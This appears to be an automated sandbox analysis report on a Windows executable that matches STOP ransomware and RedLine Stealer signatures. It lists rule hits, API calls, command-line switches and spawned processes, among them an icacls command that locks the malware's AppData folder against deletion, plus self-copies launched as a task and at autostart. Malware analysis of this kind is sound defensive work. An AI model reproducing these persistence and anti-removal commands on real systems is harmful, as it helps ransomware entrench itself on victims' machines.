Source: 11.2.n41dQbiw1Y.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 7.2.n41dQbiw1Y.exe.43615a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 11.2.n41dQbiw1Y.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 6.2.n41dQbiw1Y.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 6.2.n41dQbiw1Y.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 10.2.n41dQbiw1Y.exe.43f15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 10.2.n41dQbiw1Y.exe.43f15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 8.2.n41dQbiw1Y.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 8.2.n41dQbiw1Y.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 4.2.n41dQbiw1Y.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 4.2.n41dQbiw1Y.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 8.2.n41dQbiw1Y.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 8.2.n41dQbiw1Y.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0000000A.00000002.1886225243.00000000043F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000007.00000002.1802187724.0000000004162000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000000A.00000002.1885798926.0000000004192000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.1658170089.0000000004350000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000007.00000002.1802282890.0000000004360000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000005.00000002.1690777930.0000000004293000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000008.00000002.1812383691.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000008.00000002.1812383691.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000003.00000002.1682932868.0000000004360000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000000.00000002.1658224295.00000000043F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000000B.00000002.1894831115.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000000B.00000002.1894831115.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000003.00000002.1682775569.0000000004197000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000006.00000002.2904433559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000006.00000002.2904433559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000005.00000002.1690963157.0000000004340000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: n41dQbiw1Y.exe PID: 7272, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: n41dQbiw1Y.exe PID: 7288, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: n41dQbiw1Y.exe PID: 7376, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: n41dQbiw1Y.exe PID: 7416, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: n41dQbiw1Y.exe PID: 7460, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: n41dQbiw1Y.exe PID: 7476, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: n41dQbiw1Y.exe PID: 7644, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: n41dQbiw1Y.exe PID: 7664, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: n41dQbiw1Y.exe PID: 7864, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: n41dQbiw1Y.exe PID: 7880, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23

Source: n41dQbiw1Y.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: n41dQbiw1Y.exe.1.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.rans.troj.spyw.evad.winEXE@19/1346@3/3

Source: C:\Users\user\Desktop\n41dQbiw1Y.exe

Code function: 1_2_00411900 GetLastError,FormatMessageW,lstrlenW,lstrlenW,lstrlenW,LocalAlloc,lstrcpyW,lstrcatW,lstrcatW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,_memset,lstrcpynW,MessageBoxW,LocalFree,LocalFree,LocalFree,

1_2_00411900

Source: C:\Users\user\Desktop\n41dQbiw1Y.exe

Code function: 0_2_043507C6 CreateToolhelp32Snapshot,Module32First,

0_2_043507C6

Source: C:\Users\user\Desktop\n41dQbiw1Y.exe

Code function: 1_2_0040D240 CoInitialize,CoInitializeSecurity,CoCreateInstance,VariantInit,VariantInit,VariantInit,VariantInit,VariantInit,VariantClear,VariantClear,VariantClear,VariantClear,CoUninitialize,CoUninitialize,CoUninitialize,__time64,__localtime64,_wcsftime,VariantInit,VariantInit,VariantClear,VariantClear,VariantClear,VariantClear,swprintf,CoUninitialize,CoUninitialize,

1_2_0040D240

Source: C:\Users\user\Desktop\n41dQbiw1Y.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\geo[1].json

Jump to behavior

Source: C:\Users\user\Desktop\n41dQbiw1Y.exe

Mutant created: \Sessions\1\BaseNamedObjects\{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}

Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Command line argument: --Admin	1_2_00419F90
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Command line argument: IsAutoStart	1_2_00419F90
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Command line argument: IsTask	1_2_00419F90
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Command line argument: --ForNetRes	1_2_00419F90
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Command line argument: IsAutoStart	1_2_00419F90
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Command line argument: IsTask	1_2_00419F90
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Command line argument: --Task	1_2_00419F90
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Command line argument: --AutoStart	1_2_00419F90
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Command line argument: --Service	1_2_00419F90
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Command line argument: X1P	1_2_00419F90
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Command line argument: --Admin	1_2_00419F90
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Command line argument: runas	1_2_00419F90
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Command line argument: x2Q	1_2_00419F90
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Command line argument: x*P	1_2_00419F90
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Command line argument: C:\Windows\	1_2_00419F90
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Command line argument: D:\Windows\	1_2_00419F90
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Command line argument: 7P	1_2_00419F90
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Command line argument: %username%	1_2_00419F90
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Command line argument: F:\	1_2_00419F90
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Command line argument: --Admin	1_2_00419F90
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Command line argument: IsAutoStart	1_2_00419F90
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Command line argument: IsTask	1_2_00419F90
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Command line argument: --ForNetRes	1_2_00419F90
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Command line argument: IsAutoStart	1_2_00419F90
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Command line argument: IsTask	1_2_00419F90
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Command line argument: --Task	1_2_00419F90
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Command line argument: --AutoStart	1_2_00419F90
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Command line argument: --Service	1_2_00419F90
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Command line argument: X1P	1_2_00419F90
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Command line argument: --Admin	1_2_00419F90
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Command line argument: runas	1_2_00419F90
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Command line argument: x2Q	1_2_00419F90
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Command line argument: x*P	1_2_00419F90
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Command line argument: C:\Windows\	1_2_00419F90
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Command line argument: D:\Windows\	1_2_00419F90
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Command line argument: 7P	1_2_00419F90
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Command line argument: %username%	1_2_00419F90
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Command line argument: F:\	1_2_00419F90

Source: n41dQbiw1Y.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\n41dQbiw1Y.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\n41dQbiw1Y.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: n41dQbiw1Y.exe

ReversingLabs: Detection: 95%

Source: n41dQbiw1Y.exe	String found in binary or memory: set-addPolicy
Source: n41dQbiw1Y.exe	String found in binary or memory: id-cmc-addExtensions
Source: n41dQbiw1Y.exe	String found in binary or memory: set-addPolicy
Source: n41dQbiw1Y.exe	String found in binary or memory: id-cmc-addExtensions
Source: n41dQbiw1Y.exe	String found in binary or memory: set-addPolicy
Source: n41dQbiw1Y.exe	String found in binary or memory: id-cmc-addExtensions
Source: n41dQbiw1Y.exe	String found in binary or memory: set-addPolicy
Source: n41dQbiw1Y.exe	String found in binary or memory: id-cmc-addExtensions
Source: n41dQbiw1Y.exe	String found in binary or memory: set-addPolicy
Source: n41dQbiw1Y.exe	String found in binary or memory: id-cmc-addExtensions

Source: C:\Users\user\Desktop\n41dQbiw1Y.exe

File read: C:\Users\user\Desktop\n41dQbiw1Y.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\n41dQbiw1Y.exe "C:\Users\user\Desktop\n41dQbiw1Y.exe"
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Process created: C:\Users\user\Desktop\n41dQbiw1Y.exe "C:\Users\user\Desktop\n41dQbiw1Y.exe"
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03" /deny *S-1-1-0:(OI)(CI)(DE,DC)
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Process created: C:\Users\user\Desktop\n41dQbiw1Y.exe "C:\Users\user\Desktop\n41dQbiw1Y.exe" --Admin IsNotAutoStart IsNotTask
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Process created: C:\Users\user\Desktop\n41dQbiw1Y.exe "C:\Users\user\Desktop\n41dQbiw1Y.exe" --Admin IsNotAutoStart IsNotTask
Source: unknown	Process created: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe --Task
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Process created: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe --Task
Source: unknown	Process created: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe "C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe" --AutoStart
Source: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe	Process created: C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe "C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe" --AutoStart
